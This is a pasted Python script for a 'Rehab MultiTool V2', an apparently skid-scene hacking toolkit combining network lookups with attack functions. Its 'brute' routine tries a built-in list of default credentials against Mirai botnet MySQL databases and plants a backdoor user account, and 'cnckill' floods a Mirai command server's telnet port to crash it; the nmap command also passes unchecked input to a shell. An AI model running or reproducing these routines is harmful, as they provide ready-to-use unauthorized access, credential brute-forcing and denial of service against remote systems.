RBandzz


SUBMITTED BY: RBandzz

DATE: Jan. 29, 2022, 9:08 p.m.

FORMAT: Python 3

SIZE: 23.9 kB

HITS: 423

  1. #i need bitcoins so pls share
  2. #REHAB MULTITOOL V2
  3. #===================================================================
  4. #DO NOT MODIFY THIS CODE, CHANGE THE CREDS OR PASS IT OFF AS YOUR OWN
  5. #IF YOU PAID FOR THIS YOU WERE SCAMMED
  6. import string
  7. import subprocess
  8. import sys
  9. import os
  10. import socket
  11. import requests
  12. from colored import fg,attr
  13. from random import *
  14. from time import sleep
  15. import datetime as dt
  16. #VALID COMMANDS
  17. COMMANDS = ["pw","help","?","cnckill","brute","ping","portscan","dns","exit","cls","clear","geoip","banner","asn","whois","nmap"]
  18. mottos = ['Take a Knee','Fuck Skids','Imma London Scammer','Red kinda sus tho','Pimp to simp','If you cannot code you are a skid','4563670','What the fuck is rehab?','I can\'t get no satisfaction','Now I am become death','Born to kill','Killionaire!','Just another day at the office','I was in admin','I like chicken nuggets','IPDowned is a script kiddie','RIP Project AK pistol','RIP Kobe','Simpin aint easy','Don\'t learn python','Flashcarding is fun','Don\'t buy off discord','Don\'t buy private sources','Don\'t buy vuln lists or ranges','My word is Poontang!','I can do magic tricks','Mana ouma is so NOT adorable']
  19. win = "windows"
  20. unix = "unix"
  21. newprompt = True
  22. creds = """
  23. root:botnet
  24. root:admin
  25. admin:admin
  26. root:123456
  27. root:54321
  28. root:
  29. admin:password
  30. root:12345
  31. admin:
  32. root:pass
  33. root:password
  34. admin:admin1234
  35. root:1111
  36. admin:1111
  37. root:password
  38. root:1234
  39. root:user
  40. admin:1234
  41. admin:12345
  42. admin:54321
  43. admin:123456
  44. admin:1234
  45. admin:pass
  46. """
  47. if os.name == "nt":
  48. OS = "windows"
  49. else:
  50. OS = "unix"
  51. def print_banner():
  52. global newprompt
  53. newprompt = True
  54. if OS == win: os.system("cls")
  55. else:
  56. os.system("clear")
  57. localip = socket.gethostbyname(socket.gethostname())
  58. motto = mottos[randrange(0,len(mottos))]
  59. print('%s ██████  ███████ ██  ██  █████  ██████  ██  ██ ██████%s' % (fg(randrange(1,232)),attr(0)))
  60. print("%s ██   ██ ██      ██  ██ ██   ██ ██   ██ ██  ██      ██  %s" % (fg(randrange(1,232)),attr(0)))
  61. print("%s ██████  █████  ███████ ███████ ██████  ██  ██  █████   %s" % (fg(randrange(1,232)),attr(0)))
  62. print("%s ██   ██ ██     ██   ██ ██   ██ ██   ██   ██  ██  ██      %s" % (fg(randrange(1,232)),attr(0)))
  63. print("%s ██  ██ ███████ ██  ██ ██  ██ ██████   ████   ███████ %s" % (fg(randrange(1,232)),attr(0)))
  64. print(f"%s ~~ %s{motto}%s ~~ %s" % (fg(3),fg(14),fg(3),attr(0)))
  65. print("%s TikTok%s @based.and.redpilled %s" % (fg(3),fg(14),attr(0)))
  66. print("%s Website%s https://darkvps.org/hosting %s" % (fg(3),fg(14),attr(0)))
  67. print("\n")
  68. print(f"%s Your Local IPv4:%s {localip} %s " % (fg(3),fg(14),attr(0)))
  69. print(f"%s Detected OS:%s {OS} %s " % (fg(3),fg(14),attr(0)))
  70. print("%s Type%s help%s or %s?%s for a list of commands %s " % (fg(3),fg(14),fg(3),fg(14),fg(3),attr(0)))
  71. def request_info(url):
  72. request = requests.get(url)
  73. response = request.text
  74. for line in response.splitlines():
  75. print(f'%s â• [%s+%s]%s{line}' % (fg(14),fg(3),fg(14),fg(3)))
  76. def help():
  77. global newprompt
  78. print(" %s╠═════════════════════════════════[%s+%s][%sCOMMANDS%s][%s+%s]════════════════════════════════════════╗%s" % (fg(14),fg(3),fg(14),fg(3),fg(14),fg(3),fg(14),attr(0)))
  79. print(" %s╟ %sPING %s- %sFast ICMP Pinger ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  80. print(" %s╟ %sPORTSCAN %s- %sSimple TCP Portscanner ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  81. print(" %s╟ %s[NEW] %sNMAP %s- %sAdvanced Portscanner (NMAP must be installed and added to path) ║%s" % (fg(14),fg(2),fg(1),fg(3),fg(14),attr(0)))
  82. print(" %s╟ %s[NEW] %sBRUTE %s- %sBrute Mirai SQL Database to gain access (requires PyMySQL) ║%s" % (fg(14),fg(2),fg(1),fg(3),fg(14),attr(0)))
  83. print(" %s╟ %s[NEW] %sCNCKILL %s- %sAttempts to kill a Mirai CNC (requires telnetlib) ║%s" % (fg(14),fg(2),fg(1),fg(3),fg(14),attr(0)))
  84. print(" %s╟ %s[NEW] %sPW %s- %sSecure Password generator ║%s" % (fg(14),fg(2),fg(1),fg(3),fg(14),attr(0)))
  85. print(" %s╟ %sDNS%s - %sDNS Lookup ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  86. print(" %s╟ %sGEOIP %s-%s GEO IP Lookup ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  87. print(" %s╟ %sBANNER %s- %sGRAB BANNER ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  88. print(" %s╟ %sASN%s - %sASN LOOKUP ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  89. print(" %s╟ %sWHOIS %s- %sDomain WHOIS Lookup ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  90. print(" %s╟ %sCLS %s- %sClear Screen ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  91. print(" %s╟ %sEXIT %s- %sQuit Rehab V2 ║%s" % (fg(14),fg(1),fg(3),fg(14),attr(0)))
  92. print(" %s╠═════════════════════════════════════════════════════════════════════════════════════════╝%s" % (fg(14),attr(0)))
  93. newprompt = False
  94. def check_ip(ip):
  95. i = 0
  96. ip_valid = True
  97. for element in ip:
  98. if element == '.':
  99. i += 1
  100. else:
  101. try:
  102. int(element)
  103. except:
  104. ip_valid = False
  105. pass
  106. if not i == 3:
  107. ip_valid = False
  108. return ip_valid
  109. def check_yesno(str):
  110. if str.lower() == 'y':
  111. return True
  112. if str.lower() == 'n':
  113. return False
  114. else:
  115. return None
  116. def tcpportscan(ip):
  117. url = f"https://api.hackertarget.com/nmap/?q={ip}"
  118. response = requests.get(url)
  119. if response.status_code == 200:
  120. request_info(url)
  121. else:
  122. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  123. def cnckill(ip,port):
  124. payload = 'fuckyouskid' * 10000
  125. try:
  126. import telnetlib
  127. except:
  128. install = input(" %sâ• [%s+%s]%sMissing module telnetlib! %sAttempt to install? (y/n)%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  129. if 'y' in install.lower():
  130. os.system('pip install telnetlib')
  131. os.system('pip install telnetlib3')
  132. return
  133. try:
  134. tn = telnetlib.Telnet(ip,port)
  135. except:
  136. print(" %sâ• [%s+%s]%sCould not connect! %sPlease check the info and your internet connetion.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  137. return
  138. try:
  139. tn.write(payload.encode('ascii') + b"\n")
  140. tn.close()
  141. except:
  142. pass
  143. try:
  144. sleep(3)
  145. tn2 = telnetlib.Telnet(ip,port)
  146. except:
  147. print(f" %sâ• [%s+%s]%s CNC Killed!" % (fg(14),fg(3),fg(14),fg(2)))
  148. return
  149. print(" %sâ• [%s+%s]%sExploit Failed! %sBetter luck next time!%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  150. def dns(domain):
  151. url = f"https://api.hackertarget.com/dnslookup/?q={domain}"
  152. response = requests.get(url)
  153. if response.status_code == 200:
  154. request_info(url)
  155. else:
  156. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  157. def bannergrab(ip):
  158. url = f"https://api.hackertarget.com/bannerlookup/?q={ip}"
  159. response = requests.get(url)
  160. if response.status_code == 200:
  161. request_info(url)
  162. else:
  163. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  164. def brute(ip):
  165. try:
  166. import pymysql
  167. except:
  168. install = input(" %sâ• [%s+%s]%sMissing module PyMySQL! %sAttempt to install? (y/n)%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  169. if 'y' in install.lower():
  170. os.system('pip install pymysql')
  171. return
  172. try:
  173. print(" %sâ• [%s+%s]%s Attempting to brute SQL server..." % (fg(14),fg(3),fg(14),fg(2)))
  174. conn = pymysql.connect(host=ip,user='root',password='root',charset='utf8mb4',cursorclass=pymysql.cursors.DictCursor,read_timeout=5,write_timeout=5,connect_timeout=5)
  175. cursor = conn.cursor()
  176. print(f" %sâ• [%s+%s]%s Login Successfull!" % (fg(14),fg(3),fg(14),fg(2)))
  177. cursor.execute('show databases')
  178. for a_dict in cursor.fetchall():
  179. for db in a_dict:
  180. try:
  181. cursor.execute(f'use {a_dict[db]};')
  182. print(" %sâ• [%s+%s]%s Attempting to inject to table users..." % (fg(14),fg(3),fg(14),fg(2)))
  183. cursor.execute("INSERT INTO users VALUES (NULL, 'ipdowned', 'isaskid', 0, 0, 0, 0, -1, 1, 30, '');")
  184. print(f" %sâ• [%s+%s]%s Success on {ip} Username: ipdowned Password: isaskid" % (fg(14),fg(3),fg(14),fg(2)))
  185. return
  186. except:
  187. pass
  188. except Exception as e:
  189. if 'Access denied' in str(e):
  190. for combo in creds.splitlines():
  191. if combo == '':
  192. continue
  193. uname = combo[:combo.index(':')]
  194. try:
  195. password = combo[combo.index(':')+1:]
  196. except ValueError:
  197. password = ''
  198. try:
  199. print(f" %sâ• [%s+%s]%s Trying {uname}:{password}" % (fg(14),fg(3),fg(14),fg(2)))
  200. conn = pymysql.connect(host=ip,user=uname,password=password,charset='utf8mb4',cursorclass=pymysql.cursors.DictCursor,read_timeout=5,write_timeout=5,connect_timeout=5)
  201. print(f" %sâ• [%s+%s]%s Login Successfull!" % (fg(14),fg(3),fg(14),fg(2)))
  202. cursor = conn.cursor()
  203. cursor.execute('show databases')
  204. for a_dict in cursor.fetchall():
  205. for db in a_dict:
  206. try:
  207. cursor.execute(f'use {a_dict[db]};')
  208. print(" %sâ• [%s+%s]%s Attempting to inject to table users..." % (fg(14),fg(3),fg(14),fg(2)))
  209. cursor.execute("INSERT INTO users VALUES (NULL, 'ipdowned', 'isaskid', 0, 0, 0, 0, -1, 1, 30, '');")
  210. print(f" %sâ• [%s+%s]%s Success on {ip} Username: ipdowned Password: isaskid" % (fg(14),fg(3),fg(14),fg(2)))
  211. return
  212. except:
  213. pass
  214. except:
  215. pass
  216. else:
  217. pass
  218. print(" %sâ• [%s+%s]%sBrute Failed! %sBetter luck next time!%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  219. def geoip(ip):
  220. url = f"https://api.hackertarget.com/geoip/?q={ip}"
  221. response = requests.get(url)
  222. if response.status_code == 200:
  223. request_info(url)
  224. else:
  225. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  226. def whoislookup(domain):
  227. url = f"https://api.hackertarget.com/whois/?q={domain}"
  228. response = requests.get(url)
  229. if response.status_code == 200:
  230. request_info(url)
  231. else:
  232. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  233. def asntoip(asn):
  234. url = f"https://api.hackertarget.com/aslookup/?q={asn}"
  235. response = requests.get(url)
  236. if response.status_code == 200:
  237. request_info(url)
  238. else:
  239. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  240. def iptoasn(ip):
  241. url = f"https://api.hackertarget.com/aslookup/?q={ip}"
  242. response = requests.get(url)
  243. if response.status_code == 200:
  244. request_info(url)
  245. else:
  246. print(" %sâ• [%s+%s]%sAPI Error! %sCheck your internet connection and try again.%s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  247. def ping(ip):
  248. while not check_ip(ip):
  249. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  250. print(" %sâ• [%s+%s]%sCTRL+C %sto stop pinging" % (fg(14),fg(3),fg(14),fg(1),fg(3)))
  251. sleep(0.5)
  252. if OS == win:
  253. while True:
  254. try:
  255. subprocess.check_call(f"PING {ip} -n 1 | FIND \"TTL=\" > NUL",shell=True)
  256. print(f' %sâ• [%s+%s] Reply from %s{ip}' % (fg(14),fg(3),fg(14),fg(3)))
  257. except subprocess.CalledProcessError:
  258. print(f" %sâ• [%s+%s]%s{ip} %sis offline%s" % (fg(14),fg(3),fg(14),fg(3),fg(1),attr(0)))
  259. except KeyboardInterrupt:
  260. break
  261. else:
  262. while True:
  263. try:
  264. subprocess.check_call(f"PING {ip} -c1 > /dev/null 2>&1",shell=True)
  265. print(f' %sâ• [%s+%s] Reply from %s{ip}' % (fg(14),fg(3),fg(14),fg(3)))
  266. except subprocess.CalledProcessError:
  267. print(f" %sâ• [%s+%s]%s{ip} %sis offline%s" % (fg(14),fg(3),fg(14),fg(3),fg(1),attr(0)))
  268. except KeyboardInterrupt:
  269. break
  270. def nmap():
  271. global newprompt
  272. if os.system('nmap > nul 2>&1') == 1:
  273. defaultpath = repr('C:\Program Files (x86)\nmap')
  274. print(f" %sâ• [%s+%s] You do not have NMAP installed or it is not added to the PATH" % (fg(14),fg(3),fg(14)))
  275. print(f" %sâ• [%s+%s] " % (fg(14),fg(3),fg(14)))
  276. print(f" %sâ• [%s+%s] ---------------NMAP WINDOWS INSTALL TUTORIAL----------------" % (fg(14),fg(3),fg(14)))
  277. print(f" %sâ• [%s+%s] [1] Download the latest version of NMAP from https://nmap.org/download.html" % (fg(14),fg(3),fg(14)))
  278. print(f" %sâ• [%s+%s] Look for latest stable release under Windows Binaries" % (fg(14),fg(3),fg(14)))
  279. print(f" %sâ• [%s+%s] [2] Go through the install process and take note of where NMAP is installed to." % (fg(14),fg(3),fg(14)))
  280. print(f" %sâ• [%s+%s] By default it should be {defaultpath}" % (fg(14),fg(3),fg(14)))
  281. print(f" %sâ• [%s+%s] [3] Go to Control Panel > System and Security > System > Advanced System Settings" % (fg(14),fg(3),fg(14)))
  282. print(f" %sâ• [%s+%s] > Environment Variables" % (fg(14),fg(3),fg(14)))
  283. print(f" %sâ• [%s+%s] [4] Look at the box labeled System Variables and double click on Path" % (fg(14),fg(3),fg(14)))
  284. print(f" %sâ• [%s+%s] [5] Hit New and enter the location where nmap is installed to ({defaultpath})" % (fg(14),fg(3),fg(14)))
  285. print(f" %sâ• [%s+%s] [6] Open a new command prompt window and enter 'nmap'. if it gives you the nmap options" % (fg(14),fg(3),fg(14)))
  286. print(f" %sâ• [%s+%s] you are done!" % (fg(14),fg(3),fg(14)))
  287. else:
  288. print(f" %sâ• [%s+%s]%s [Enter command or type -help for help]" % (fg(14),fg(3),fg(14),fg(3)))
  289. pscan = input(f" %sâ• [%s+%s]%s nmap " % (fg(14),fg(3),fg(14),fg(3))).strip()
  290. os.system(f'nmap {pscan}')
  291. newprompt = True
  292. def pw():
  293. try:
  294. characters = string.ascii_letters + string.punctuation + string.digits
  295. password = "".join(choice(characters) for x in range(randint(10, 20)))
  296. print(f" %sâ• [%s+%s]%sYour Password Is:%s {password}" % (fg(14),fg(3),fg(14),fg(3),fg(14)))
  297. save=input(f" %sâ• [%s+%s]%s Would you like to save your password? (y/n) :" % (fg(14),fg(3),fg(14),fg(3)))
  298. while not save.lower() in ['y','n', 'yes', 'no']:
  299. save=input(f" %sâ• [%s+%s]%s Invalid choice. Would you like to save your password? (y/n) :" % (fg(14),fg(3),fg(14),fg(3)))
  300. if save.lower() == 'y' or save.lower() == 'yes':
  301. label=input(f" %sâ• [%s+%s]%s Enter a label for this password? :" % (fg(14),fg(3),fg(14),fg(3)))
  302. f = open("passwords.txt", "a")
  303. f.write(f"[{dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Password for {label} : {password}\r\n")
  304. f.close()
  305. print(" %sâ• [%s+%s]%s Password Saved to passwords.txt" % (fg(14),fg(3),fg(14),fg(2)))
  306. except KeyboardInterrupt:
  307. print('')
  308. pass
  309. def take_commands():
  310. global newprompt
  311. if newprompt:
  312. newprompt = False
  313. command = input(" %s╔════════════[%s$%s]\n ╠═══%srehab%s@%sterminal%s ~%s" % (fg(14),fg(2),fg(14),fg(3),fg(14),fg(3),fg(14),attr(0))).lower()
  314. else:
  315. command = input(" %s╠════════════[%s$%s]\n ╠═══%srehab%s@%sterminal%s ~%s" % (fg(14),fg(2),fg(14),fg(3),fg(14),fg(3),fg(14),attr(0))).lower()
  316. if command not in COMMANDS:
  317. print(" %sâ• [%s+%s]%sInvalid command. %sType %s?%s or %sHelp%s for a list of commands %s" % (fg(14),fg(3),fg(14),fg(1),fg(14),fg(3),fg(14),fg(3),fg(14),attr(0)))
  318. take_commands()
  319. if command == "ping":
  320. try:
  321. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  322. while not check_ip(ip):
  323. ip = input(" â• [+]Invalid IP Address. Enter Valid IP:")
  324. ping(ip)
  325. except KeyboardInterrupt:
  326. print('')
  327. pass
  328. elif command == "portscan":
  329. try:
  330. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  331. while not check_ip(ip):
  332. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  333. tcpportscan(ip)
  334. except KeyboardInterrupt:
  335. print('')
  336. pass
  337. elif command == "pw":
  338. pw()
  339. elif command == "asn":
  340. try:
  341. print(" %sâ• [%s+%s]%sSelect 1 or 2:" % (fg(14),fg(3),fg(14),fg(3)))
  342. print(" %sâ• [%s+%s]%s1. IP TO ASN" % (fg(14),fg(3),fg(14),fg(3)))
  343. print(" %sâ• [%s+%s]%s2. ASN TO IP" % (fg(14),fg(3),fg(14),fg(3)))
  344. choice=input(" %sâ• [%s+%s]%s: "% (fg(14),fg(3),fg(14),fg(3)))
  345. while not choice in ['1','2']:
  346. choice=input(" %sâ• [%s+%s]%sInvalid Choice. %sChoose 1 or 2: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  347. if choice == '1':
  348. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  349. while not check_ip(ip):
  350. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  351. iptoasn(ip)
  352. else:
  353. asn = input(" %sâ• [%s+%s]%sEnter ASN:" % (fg(14),fg(3),fg(14),fg(3)))
  354. asntoip(asn)
  355. except KeyboardInterrupt:
  356. print('')
  357. pass
  358. elif command == "whois":
  359. try:
  360. domain = input(" %sâ• [%s+%s]%sEnter Domain:" % (fg(14),fg(3),fg(14),fg(3)))
  361. whoislookup(domain)
  362. except KeyboardInterrupt:
  363. print('')
  364. pass
  365. elif command == "dns":
  366. try:
  367. domain = input(" %sâ• [%s+%s]%sEnter Domain:" % (fg(14),fg(3),fg(14),fg(3)))
  368. dns(domain)
  369. except KeyboardInterrupt:
  370. print('')
  371. pass
  372. elif command == "geoip":
  373. try:
  374. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  375. while not check_ip(ip):
  376. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  377. geoip(ip)
  378. except KeyboardInterrupt:
  379. print('')
  380. pass
  381. elif command == "cnckill":
  382. try:
  383. ip = input(" %sâ• [%s+%s]%sEnter Botnet IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  384. while not check_ip(ip):
  385. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  386. port = input(" %sâ• [%s+%s]%sEnter Botnet Port:" % (fg(14),fg(3),fg(14),fg(3))).strip()
  387. try:
  388. while not int(port) in range(1,65536):
  389. port = input(" %sâ• [%s+%s]%sPort must be between 1 and 65535:" % (fg(14),fg(3),fg(14),fg(3)))
  390. cnckill(ip,port)
  391. except:
  392. print(" %sâ• [%s+%s]%sInvalid Port!" % (fg(14),fg(3),fg(14),fg(3)))
  393. pass
  394. except KeyboardInterrupt:
  395. print('')
  396. pass
  397. elif command == "brute":
  398. try:
  399. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  400. while not check_ip(ip):
  401. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  402. brute(ip)
  403. except KeyboardInterrupt:
  404. print('')
  405. pass
  406. elif command == "banner":
  407. try:
  408. ip = input(" %sâ• [%s+%s]%sEnter IP Address:" % (fg(14),fg(3),fg(14),fg(3)))
  409. while not check_ip(ip):
  410. ip = input(" %sâ• [%s+%s]%sInvalid IP Address. %sEnter a Valid IP: %s" % (fg(14),fg(3),fg(14),fg(1),fg(3),attr(0)))
  411. bannergrab(ip)
  412. except KeyboardInterrupt:
  413. print('')
  414. pass
  415. elif command == "help":
  416. help()
  417. elif command == "nmap":
  418. nmap()
  419. elif command == "?":
  420. help()
  421. elif command == "clear":
  422. print_banner()
  423. elif command == "cls":
  424. print_banner()
  425. elif command == "exit":
  426. sys.exit(" %sâ• [%s+%s]%sGoodbye" % (fg(14),fg(3),fg(14),fg(2)))
  427. elif command == "quit":
  428. sys.exit(" %sâ• [%s+%s]%sGoodbye%s" % (fg(14),fg(3),fg(14),fg(2),attr(0)))
  429. print_banner()
  430. if OS == win:
  431. os.system("title Rehab MultiTool V2")
  432. while True:
  433. try:
  434. take_commands()
  435. except KeyboardInterrupt:
  436. print('')
  437. pass

comments powered by Disqus